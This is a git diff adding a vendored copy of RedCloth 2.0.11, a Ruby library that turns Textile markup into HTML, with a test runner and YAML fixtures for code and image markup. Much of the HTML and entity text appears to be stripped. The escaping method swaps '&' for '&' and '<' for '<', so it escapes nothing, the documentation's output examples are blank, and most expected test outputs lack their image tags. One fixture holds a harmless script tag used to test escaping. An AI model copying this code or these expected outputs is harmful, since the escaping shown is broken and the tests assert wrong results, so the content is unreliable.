index 00000000..61b2577e --- /dev/null +++ b/vendor/redcloth-2.0.11/lib/redcloth.rb @@ -0,0 +1,894 @@ +# vim:ts=4:sw=4: +# = RedCloth - Textile for Ruby +# +# Homepage:: http://whytheluckystiff.net/ruby/redcloth/ +# Author:: why the lucky stiff (http://whytheluckystiff.net/) +# Copyright:: (c) 2004 why the lucky stiff (and his puppet organizations.) +# License:: BSD +# +# (see http://hobix.com/textile/ for a Textile Reference.) +# +# Based on (and also inspired by) both: +# +# PyTextile: http://diveintomark.org/projects/textile/textile.py.txt +# Textism for PHP: http://www.textism.com/tools/textile/ +# +# + +class String + # + # Flexible HTML escaping + # + def htmlesc!( mode ) + gsub!( '&', '&' ) + gsub!( '"', '"' ) if mode != :NoQuotes + gsub!( "'", ''' ) if mode == :Quotes + gsub!('<', '<') + gsub!('>', '>') + end +end + +# = RedCloth +# +# RedCloth is a Ruby library for converting Textile +# into HTML. +# +# == What is Textile? +# +# Textile is a simple formatting style for text +# documents, loosely based on some HTML conventions. +# +# == Sample Textile Text +# +# h2. This is a title +# +# h3. This is a subhead +# +# This is a bit of paragraph. +# +# bq. This is a blockquote. +# +# = Writing Textile +# +# A Textile document consists of paragraphs. Paragraphs +# can be specially formatted by adding a small instruction +# to the beginning of the paragraph. +# +# h[n]. Header of size [n]. +# bq. Blockquote. +# # Numeric list. +# * Bulleted list. +# +# == Quick Phrase Modifiers +# +# Quick phrase modifiers are also included, to allow formatting +# of small portions of text within a paragraph. +# +# \_emphasis\_ +# \_\_italicized\_\_ +# \*strong\* +# \*\*bold\*\* +# ??citation?? +# -deleted text- +# +inserted text+ +# ^superscript^ +# ~subscript~ +# @code@ +# %(classname)span% +# +# ==notextile== (leave text alone) +# +# == Links +# +# To make a hypertext link, put the link text in "quotation +# marks" followed immediately by a colon and the URL of the link. +# +# Optional: text in (parentheses) following the link text, +# but before the closing quotation mark, will become a Title +# attribute for the link, visible as a tool tip when a cursor is above it. +# +# Example: +# +# "This is a link (This is a title) ":http://www.textism.com +# +# Will become: +# +# This is a link +# +# == Images +# +# To insert an image, put the URL for the image inside exclamation marks. +# +# Optional: text that immediately follows the URL in (parentheses) will +# be used as the Alt text for the image. Images on the web should always +# have descriptive Alt text for the benefit of readers using non-graphical +# browsers. +# +# Optional: place a colon followed by a URL immediately after the +# closing ! to make the image into a link. +# +# Example: +# +# !http://www.textism.com/common/textist.gif(Textist)! +# +# Will become: +# +# Textist +# +# With a link: +# +# !/common/textist.gif(Textist)!:http://textism.com +# +# Will become: +# +# Textist +# +# == Defining Acronyms +# +# HTML allows authors to define acronyms via the tag. The definition appears as a +# tool tip when a cursor hovers over the acronym. A crucial aid to clear writing, +# this should be used at least once for each acronym in documents where they appear. +# +# To quickly define an acronym in Textile, place the full text in (parentheses) +# immediately following the acronym. +# +# Example: +# +# ACLU(American Civil Liberties Union) +# +# Will become: +# +# ACLU +# +# == Adding Tables +# +# In Textile, simple tables can be added by seperating each column by +# a pipe. +# +# |a|simple|table|row| +# |And|Another|table|row| +# +# Attributes are defined by style definitions in parentheses. +# +# table(border:1px solid black). +# (background:#ddd;color:red). |{}| | | | +# +# == Using RedCloth +# +# RedCloth is simply an extension of the String class, which can handle +# Textile formatting. Use it like a String and output HTML with its +# RedCloth#to_html method. +# +# doc = RedCloth.new " +# +# h2. Test document +# +# Just a simple test." +# +# puts doc.to_html + +class RedCloth < String + + VERSION = '2.0.11' + + # + # Two accessor for setting security restrictions. + # + # This is a nice thing if you're using RedCloth for + # formatting in public places (e.g. Wikis) where you + # don't want users to abuse HTML for bad things. + # + # If +:filter_html+ is set, HTML which wasn't + # created by the Textile processor will be escaped. + # + # If +:filter_styles+ is set, it will also disable + # the style markup specifier. ('{color: red}') + # + attr_accessor :filter_html, :filter_styles + + # + # Accessor for toggling line folding. + # + # If +:fold_lines+ is set, single newlines will + # not be converted to break tags. + # + attr_accessor :fold_lines + + # + # Returns a new RedCloth object, based on _string_ and + # enforcing all the included _restrictions_. + # + # r = RedCloth.new( "h1. A bold man", [:filter_html] ) + # r.to_html + # #=>"

    A <b>bold</b> man

    " + # + def initialize( string, restrictions = [] ) + @lite = false + restrictions.each { |r| method( "#{ r }=" ).call( true ) } + super( string ) + end + + # + # Generates HTML from the Textile contents. The _lite_ flag + # may be used to honor only inline markup, ignoring lists, tables, + # and block formatting. + # + # r = RedCloth.new( "And then? She *fell*!" ) + # r.to_html( true ) + # #=>"And then? She fell!" + # + def to_html( lite = nil ) + + @lite = lite unless lite.nil? + + # make our working copy + text = self.dup + + @urlrefs = {} + @shelf = [] + + incoming_entities text + ## encode_entities text + ## fix_entities text + clean_white_space text + + get_refs text + + no_textile text + + inline text + + unless @lite + fold text + block text + end + + retrieve text + + text.gsub!( /<\/?notextile>/, '' ) + text.gsub!( /x%x%/, '&' ) + text.gsub!( /
    /, "
    \n" ) + text.strip! + text + + end + + ####### + private + ####### + # + # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents. + # (from PyTextile) + # + TEXTILE_TAGS = + + [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], + [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], + [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], + [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], + [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]]. + + collect! do |a, b| + [a.chr, ( b.zero? and "" or "&#{ b };" )] + end + + # + # Regular expressions to convert to HTML. + # + A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/ + A_VLGN = /[\-^~]/ + C_CLAS = '(?:\([^)]+\))' + C_LNGE = '(?:\[[^\]]+\])' + C_STYL = '(?:\{[^}]+\})' + S_CSPN = '(?:\\\\\d+)' + S_RSPN = '(?:/\d+)' + A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)" + S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)" + C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" + # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) + PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) + HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)' + + GLYPHS = [ + # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing + [ /([^\s\[{(>])\'/, '\1’' ], # single closing + [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing + [ /\'/, '‘' ], # single opening + # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing + [ /([^\s\[{(>])"/, '\1”' ], # double closing + [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing + [ /"/, '“' ], # double opening + [ /\b( )?\.{3}/, '\1…' ], # ellipsis + [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym + [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3' ], # 3+ uppercase caps + [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash + [ /\s->\s/, ' → ' ], # en dash + [ /\s-\s/, ' – ' ], # en dash + [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign + [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark + [ /\b ?[(\[]R[\])]/i, '®' ], # registered + [ /\b ?[(\[]C[\])]/i, '©' ] # copyright + ] + + I_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right' + } + + H_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right', + '<>' => 'justify' + } + + V_ALGN_VALS = { + '^' => 'top', + '-' => 'middle', + '~' => 'bottom' + } + + QTAGS = [ + ['**', 'b'], + ['*', 'strong'], + ['??', 'cite'], + ['-', 'del'], + ['__', 'i'], + ['_', 'em'], + ['%', 'span'], + ['+', 'ins'], + ['^', 'sup'], + ['~', 'sub'] + ].collect do |rc, ht| + ttr = Regexp.quote(rc) + punct = PUNCT.sub( Regexp::quote(rc), '' ) + re = /(^|[\s\>#{punct}{(\[]) + #{ttr} + (#{C}) + (?::(\S+?))? + ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?) + ([#{punct}]*?) + #{ttr} + (?=[\s\])}<#{punct}]|$)/xm + [re, ht] + end + + def pgl( text ) + GLYPHS.each do |re, resub| + text.gsub! re, resub + end + end + + def pba( text_in, element = "" ) + + return '' unless text_in + + style = [] + text = text_in.dup + if element == 'td' + colspan = $1 if text =~ /\\(\d+)/ + rowspan = $1 if text =~ /\/(\d+)/ + style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN + end + + style << "#{ $1 };" if not @filter_styles and + text.sub!( /\{([^}]*)\}/, '' ) + + lang = $1 if + text.sub!( /\[([^)]+?)\]/, '' ) + + cls = $1 if + text.sub!( /\(([^()]+?)\)/, '' ) + + style << "padding-left:#{ $1.length }em;" if + text.sub!( /([(]+)/, '' ) + + style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' ) + + style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN + + cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/ + + atts = '' + atts << " style=\"#{ style.join }\"" unless style.empty? + atts << " class=\"#{ cls }\"" unless cls.to_s.empty? + atts << " lang=\"#{ lang }\"" if lang + atts << " id=\"#{ id }\"" if id + atts << " colspan=\"#{ colspan }\"" if colspan + atts << " rowspan=\"#{ rowspan }\"" if rowspan + + atts + end + + TABLE_RE = /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)(\n\n|\Z)/m + + def table( text ) + text.gsub!( TABLE_RE ) do |matches| + + tatts, fullrow = $~[1..2] + tatts = pba( tatts, 'table' ) + rows = [] + + fullrow. + split( /\|$/m ). + delete_if { |x| x.empty? }. + each do |row| + + ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m + + cells = [] + row.split( '|' ).each do |cell| + ctyp = 'd' + ctyp = 'h' if cell =~ /^_/ + + catts = '' + catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/ + + unless cell.strip.empty? + cells << "\t\t\t#{ cell }" + end + end + rows << "\t\t\n#{ cells.join( "\n" ) }\n\t\t" + end + "\t\n#{ rows.join( "\n" ) }\n\t\n\n" + end + end + + LISTS_RE = /^([#*]+?#{C} .*?)$(?![^#*])/m + LISTS_CONTENT_RE = /^([#*]+)(#{A}#{C}) (.*)$/m + + def lists( text ) + text.gsub!( LISTS_RE ) do |match| + lines = match.split( /\n/ ) + last_line = -1 + depth = [] + lines.each_with_index do |line, line_id| + if line =~ LISTS_CONTENT_RE + tl,atts,content = $~[1..3] + if depth.last + if depth.last.length > tl.length + (depth.length - 1).downto(0) do |i| + break if depth[i].length == tl.length + lines[line_id - 1] << "\n\t\n\t" + depth.pop + end + end + if depth.last.length == tl.length + lines[line_id - 1] << '' + end + end + unless depth.last == tl + depth << tl + atts = pba( atts ) + lines[line_id] = "\t<#{ lT(tl) }l#{ atts }>\n\t
  • #{ content }" + else + lines[line_id] = "\t\t
  • #{ content }" + end + last_line = line_id + + elsif line =~ /^\s+\S/ + last_line = line_id + elsif line_id - last_line < 2 and line =~ /^\S/ + last_line = line_id + end + if line_id - last_line > 1 or line_id == lines.length - 1 + depth.delete_if do |v| + lines[last_line] << "
  • \n\t" + end + end + end + lines.join( "\n" ) + end + end + + def lT( text ) + text =~ /\#$/ ? 'o' : 'u' + end + + def fold( text ) + text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
    ' }" ) + end + + BLOCK_RE = ['bq','h[1-6]','fn\d+','p'].collect!{|stag| + [stag, + /^(#{ stag })(#{A}#{C})\.(?::(\S+))? (.*)$/] + } + + def block( text ) + pre = false + find = ['bq','h[1-6]','fn\d+','p'] + + lines = text.split( /\n/ ) + [' '] + new_text = + lines.collect do |line| + pre = true if line =~ /<(pre|notextile)[^>]*>/i + BLOCK_RE.each do |stag, ctag| + line.gsub!( ctag ) do |m| + tag,atts,cite,content = $~[1..4] + + atts = pba( atts ) + + if tag =~ /fn(\d+)/ + tag = 'p'; + atts << " id=\"fn#{ $1 }\"" + content = "#{ $1 } #{ content }" + end + + start = "\t<#{ tag }" + tend = "" + + if tag == "bq" + cite = check_refs( cite ) + cite = " cite=\"#{ cite }\"" if cite + start = "\t\n\t\t#{ content }#{ tend }" + end unless pre + end + + line.gsub!( /^(?!\t|<\/?div|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t

    \\1

    " ) unless pre + + line.gsub!( "
    ", "\n" ) if pre + pre = false if line =~ /<\/(pre|notextile)>/i + + line + end.join( "\n" ) + text.replace( new_text ) + end + + def span( text ) + QTAGS.each do |ttr, ht| + text.gsub!(ttr) do |m| + + start,atts,cite,content,tend = $~[1..5] + atts = pba( atts ) + atts << " cite=\"#{ cite }\"" if cite + + "#{ start }<#{ ht }#{ atts }>#{ content }#{ tend }" + + end + end + end + + LINK_RE = / + ([\s\[{(]|[#{PUNCT}])? # $pre + " # start + (#{C}) # $atts + ([^"]+?) # $text + \s? + (?:\(([^)]+?)\)(?="))? # $title + ": + (\S+?) # $url + (\/)? # $slash + ([^\w\/;]*?) # $post + (?=<|\s|$) + /x + + def links( text ) + text.gsub!( LINK_RE ) do |m| + pre,atts,text,title,url,slash,post = $~[1..7] + + url = check_refs( url ) + + atts = pba( atts ) + atts << " title=\"#{ title }\"" if title + atts = shelve( atts ) if atts + + "#{ pre }#{ text }#{ post }" + end + end + + REFS_RE = /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ + + def get_refs( text ) + text.gsub!( REFS_RE ) do |m| + flag, url = $~[2..3] + @urlrefs[flag] = url + nil + end + end + + def check_refs( text ) + @urlrefs[text] || text + end + + IMAGE_RE = / + \! # opening + (\<|\=|\>)? # optional alignment atts + (#{C}) # optional style,class atts + (?:\. )? # optional dot-space + ([^\s(!]+?) # presume this is the src + \s? # optional space + (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title + \! # closing + (?::#{ HYPERLINK })? # optional href + /x + + def image( text ) + text.gsub!( IMAGE_RE ) do |m| + algn,atts,url,title,href,href_a1,href_a2 = $~[1..7] + atts = pba( atts ) + atts << " align=\"#{ i_align( algn ) }\"" if algn + atts << " title=\"#{ title }\"" if title + atts << " alt=\"#{ title }\"" + # size = @getimagesize($url); + # if($size) $atts.= " $size[3]"; + + href = check_refs( href ) if href + url = check_refs( url ) + atts << " border=\"0\"" if href + + out = '' + out << "" if href + out << "" + out << "#{ href_a1 }#{ href_a2 }" if href + + out + end + end + + CODE_RE = / + (^|[\s>#{PUNCT}{(\[]) # 1 open bracket? + @ # opening + (?:\|(\w+?)\|)? # 2 language + (\S(?:[^\n]|\n(?!\n))*?) # 3 code + @ # closing + (?=[\s\]}\)<#{PUNCT}]|$) # 4 closing bracket? + /x + + def code( text ) + text.gsub!( CODE_RE ) do |m| + before,lang,code,after = $~[1..4] + lang = " language=\"#{ lang }\"" if lang + "#{ before }#{ code }
    #{ after }" + end + end + + def shelve( val ) + @shelf << val + " <#{ @shelf.length }>" + end + + def retrieve( text ) + @shelf.each_with_index do |r, i| + text.gsub!( " <#{ i + 1 }>", r ) + end + end + + def incoming_entities( text ) + ## turn any incoming ampersands into a dummy character for now. + ## This uses a negative lookahead for alphanumerics followed by a semicolon, + ## implying an incoming html entity, to be skipped + + text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" ) + end + + def encode_entities( text ) + ## Convert high and low ascii to entities. + # if $-K == "UTF-8" + # encode_high( text ) + # else + text.htmlesc!( :NoQuotes ) + # end + end + + def fix_entities( text ) + ## de-entify any remaining angle brackets or ampersands + text.gsub!( ">", ">" ) + text.gsub!( "<", "<" ) + text.gsub!( "&", "&" ) + end + + def clean_white_space( text ) + text.gsub!( /\r\n/, "\n" ) + text.gsub!( /\t/, '' ) + text.gsub!( /\n{3,}/, "\n\n" ) + text.gsub!( /\n *\n/, "\n\n" ) + text.gsub!( /"$/, "\" " ) + end + + def no_textile( text ) + text.gsub!( /(^|\s)==(.*?)==(\s|$)?/, + '\1\2\3' ) + end + + def footnote_ref( text ) + text.gsub!( /\b\[([0-9]+?)\](\s)?/, + '\1\2' ) + end + + OFFTAGS = /(code|pre|kbd|notextile)/ + OFFTAG_MATCH = /(?:(<\/#{ OFFTAGS }>)|(<#{ OFFTAGS }[^>]*>))(.*?)(?=<\/?#{ OFFTAGS }>|\Z)/mi + OFFTAG_OPEN = /<#{ OFFTAGS }/ + OFFTAG_CLOSE = /<\/?#{ OFFTAGS }/ + HASTAG_MATCH = /(<\/?\w[^\n]*?>)/m + ALLTAG_MATCH = /(<\/?\w[^\n]*?>)|.*?(?=<\/?\w[^\n]*?>|$)/m + + def glyphs( text, level = 0 ) + if text !~ HASTAG_MATCH + pgl text + footnote_ref text + else + codepre = 0 + text.gsub!( ALLTAG_MATCH ) do |line| + ## matches are off if we're between ,
     etc.
    +                if $1
    +                    if @filter_html
    +                        line.htmlesc!( :NoQuotes )
    +                    elsif line =~ OFFTAG_OPEN
    +                        codepre += 1
    +                    elsif line =~ OFFTAG_CLOSE
    +                        codepre -= 1
    +                        codepre = 0 if codepre < 0
    +                    end 
    +                ## do htmlspecial if between 
    +                elsif codepre.zero?
    +                    glyphs( line, level + 1 )
    +                else
    +                    line.htmlesc!( :NoQuotes )
    +                end
    +                ## p [level, codepre, orig_line, line]
    +
    +                line
    +            end
    +        end
    +    end
    +
    +    def rip_offtags( text )
    +        pre_list = []
    +        if text =~ /<.*>/
    +            ## strip and encode 
     content
    +            codepre, used_offtags = 0, {}
    +            text.gsub!( OFFTAG_MATCH ) do |line|
    +                if $3
    +                    offtag, aftertag = $4, $5
    +                    codepre += 1
    +                    used_offtags[offtag] = true
    +                    if codepre - used_offtags.length > 0
    +                        line.htmlesc!( :NoQuotes ) 
    +                        pre_list.last << line
    +                        line = ""
    +                    else
    +                        aftertag.htmlesc!( :NoQuotes ) if aftertag
    +                        line = ""
    +                        pre_list << "#{ $3 }#{ aftertag }"
    +                    end
    +                elsif $1 and codepre > 0
    +                    if codepre - used_offtags.length > 0
    +                        line.htmlesc!( :NoQuotes ) 
    +                        pre_list.last << line
    +                        line = ""
    +                    end
    +                    codepre -= 1 unless codepre.zero?
    +                    used_offtags = {} if codepre.zero?
    +                end 
    +                line
    +            end
    +        end
    +        pre_list
    +    end
    +
    +    def smooth_offtags( text, pre_list )
    +        unless pre_list.empty?
    +            ## replace 
     content
    +            text.gsub!( // ) { pre_list[$1.to_i] }
    +        end
    +    end
    +
    +    def inline( text ) 
    +        text.gsub!( /"\z/, "\" " )
    +        pre_list = rip_offtags text
    +
    +        ## apply inline markup
    +        unless @lite
    +            lists text
    +            table text
    +        end
    +
    +        image text 
    +        links text 
    +        code text 
    +        span text
    +
    +        ## replace entities
    +        glyphs text
    +        smooth_offtags text, pre_list
    +    end
    +
    +    def i_align( text )
    +        I_ALGN_VALS[text]
    +    end
    +
    +    def h_align( text ) 
    +        H_ALGN_VALS[text]
    +    end
    +
    +    def v_align( text ) 
    +        V_ALGN_VALS[text]
    +    end
    +
    +    def encode_high( text )
    +        ## mb_encode_numericentity($text, $cmap, $charset);
    +    end
    +
    +    def decode_high( text )
    +        ## mb_decode_numericentity($text, $cmap, $charset);
    +    end
    +
    +    def textile_popup_help( name, helpvar, windowW, windowH )
    +        ' ' + name + '
    ' + end + + CMAP = [ + 160, 255, 0, 0xffff, + 402, 402, 0, 0xffff, + 913, 929, 0, 0xffff, + 931, 937, 0, 0xffff, + 945, 969, 0, 0xffff, + 977, 978, 0, 0xffff, + 982, 982, 0, 0xffff, + 8226, 8226, 0, 0xffff, + 8230, 8230, 0, 0xffff, + 8242, 8243, 0, 0xffff, + 8254, 8254, 0, 0xffff, + 8260, 8260, 0, 0xffff, + 8465, 8465, 0, 0xffff, + 8472, 8472, 0, 0xffff, + 8476, 8476, 0, 0xffff, + 8482, 8482, 0, 0xffff, + 8501, 8501, 0, 0xffff, + 8592, 8596, 0, 0xffff, + 8629, 8629, 0, 0xffff, + 8656, 8660, 0, 0xffff, + 8704, 8704, 0, 0xffff, + 8706, 8707, 0, 0xffff, + 8709, 8709, 0, 0xffff, + 8711, 8713, 0, 0xffff, + 8715, 8715, 0, 0xffff, + 8719, 8719, 0, 0xffff, + 8721, 8722, 0, 0xffff, + 8727, 8727, 0, 0xffff, + 8730, 8730, 0, 0xffff, + 8733, 8734, 0, 0xffff, + 8736, 8736, 0, 0xffff, + 8743, 8747, 0, 0xffff, + 8756, 8756, 0, 0xffff, + 8764, 8764, 0, 0xffff, + 8773, 8773, 0, 0xffff, + 8776, 8776, 0, 0xffff, + 8800, 8801, 0, 0xffff, + 8804, 8805, 0, 0xffff, + 8834, 8836, 0, 0xffff, + 8838, 8839, 0, 0xffff, + 8853, 8853, 0, 0xffff, + 8855, 8855, 0, 0xffff, + 8869, 8869, 0, 0xffff, + 8901, 8901, 0, 0xffff, + 8968, 8971, 0, 0xffff, + 9001, 9002, 0, 0xffff, + 9674, 9674, 0, 0xffff, + 9824, 9824, 0, 0xffff, + 9827, 9827, 0, 0xffff, + 9829, 9830, 0, 0xffff, + 338, 339, 0, 0xffff, + 352, 353, 0, 0xffff, + 376, 376, 0, 0xffff, + 710, 710, 0, 0xffff, + 732, 732, 0, 0xffff, + 8194, 8195, 0, 0xffff, + 8201, 8201, 0, 0xffff, + 8204, 8207, 0, 0xffff, + 8211, 8212, 0, 0xffff, + 8216, 8218, 0, 0xffff, + 8218, 8218, 0, 0xffff, + 8220, 8222, 0, 0xffff, + 8224, 8225, 0, 0xffff, + 8240, 8240, 0, 0xffff, + 8249, 8250, 0, 0xffff, + 8364, 8364, 0, 0xffff + ] +end + diff --git a/vendor/redcloth-2.0.11/run-tests.rb b/vendor/redcloth-2.0.11/run-tests.rb new file mode 100755 index 00000000..d5bb83ae --- /dev/null +++ b/vendor/redcloth-2.0.11/run-tests.rb @@ -0,0 +1,18 @@ +#!/usr/bin/env ruby +require 'redcloth' +require 'yaml' + +Dir["tests/*.yml"].each do |testfile| + YAML::load_documents( File.open( testfile ) ) do |doc| + if doc['in'] and doc['out'] + html = RedCloth.new( doc['in'] ).to_html + puts "---" + if html == doc['out'] + puts "success: true" + else + puts "out: "; p html + puts "expected: "; p doc['out'] + end + end + end +end diff --git a/vendor/redcloth-2.0.11/tests/code.yml b/vendor/redcloth-2.0.11/tests/code.yml new file mode 100755 index 00000000..4fd84053 --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/code.yml @@ -0,0 +1,66 @@ +--- +in: 'This is an empty dictionary: @{}@' +out: '

    This is an empty dictionary: {}

    ' +--- +in: |- + Testing nested pre tags... + +
    +  
    +    Good code here.
    +
    +    
    +      a = 1
    +    
    + + Bad code here. + + +
    +
    + +out: |- +

    Testing nested pre tags…

    + +
    +  
    +    Good code here.
    +  
    +    <pre>
    +      a = 1
    +    </pre>
    +  
    +    Bad code here.
    +  
    +    <script language="JavaScript">
    +      window.open( "about:blank" );
    +    </script>
    +  
    +  
    +--- +in: |- +
    +  *** test
    +  
    +out: |- +
    +  *** test
    +  
    +--- +in: |- + + *** test + +out: |- + *** test +--- +in: '*this is strong*' +out: '

    this is strong

    ' +--- +in: '*this test is strong*' +out: '

    this test is strong

    ' +--- +in:
     __inline__
    +out:
     __inline__
    diff --git a/vendor/redcloth-2.0.11/tests/images.yml b/vendor/redcloth-2.0.11/tests/images.yml new file mode 100755 index 00000000..01f38f45 --- /dev/null +++ b/vendor/redcloth-2.0.11/tests/images.yml @@ -0,0 +1,171 @@ +--- +in: This is an !image.jpg! +out:

    This is an

    +--- +in: This is an !image.jpg(with alt text)! +out:

    This is an with alt text

    +--- +in: This is an !http://example.com/i/image.jpg! +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg#a1! +out:

    This is an

    +--- +in: This is an !image.jpg!. +out:

    This is an .

    +--- +in: This is an !image.jpg(with alt text)!. +out:

    This is an with alt text.

    +--- +in: This is an !http://example.com/i/image.jpg!. +out:

    This is an .

    +--- +in: This is an !http://example.com/i/image.jpg#a1!. +out:

    This is an .

    +--- +in: This is not an image!!! +out:

    This is not an image!!!

    +--- +in: This is an !http://example.com/i/image.jpg!:#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:#a +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar#a +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/ +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/#a +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html#a +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#a +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10 +out:

    This is an

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b. +out:

    This is an .

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1. +out:

    This is an .

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a. +out:

    This is an .

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1. +out:

    This is an .

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10. +out:

    This is an .

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b, but this is not. +out:

    This is an , but this is not.

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1, but this is not. +out:

    This is an , but this is not.

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a, but this is not. +out:

    This is an , but this is not.

    +--- +in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1, but this is not. +out:

    This is an , but this is not.

    +--- +in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10) This is not. +out:

    (This is an ) This is not.

    +--- +in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b) This is not. +out:

    (This is an ) This is not.

    +--- +in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1) This is not. +out:

    (This is an ) This is not.

    +--- +in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a) This is not. +out:

    (This is an ) This is not.

    +--- +in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1) This is not. +out:

    (This is an ) This is not.

    +--- +in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10) This is not. +out:

    (This is an ) This is not.

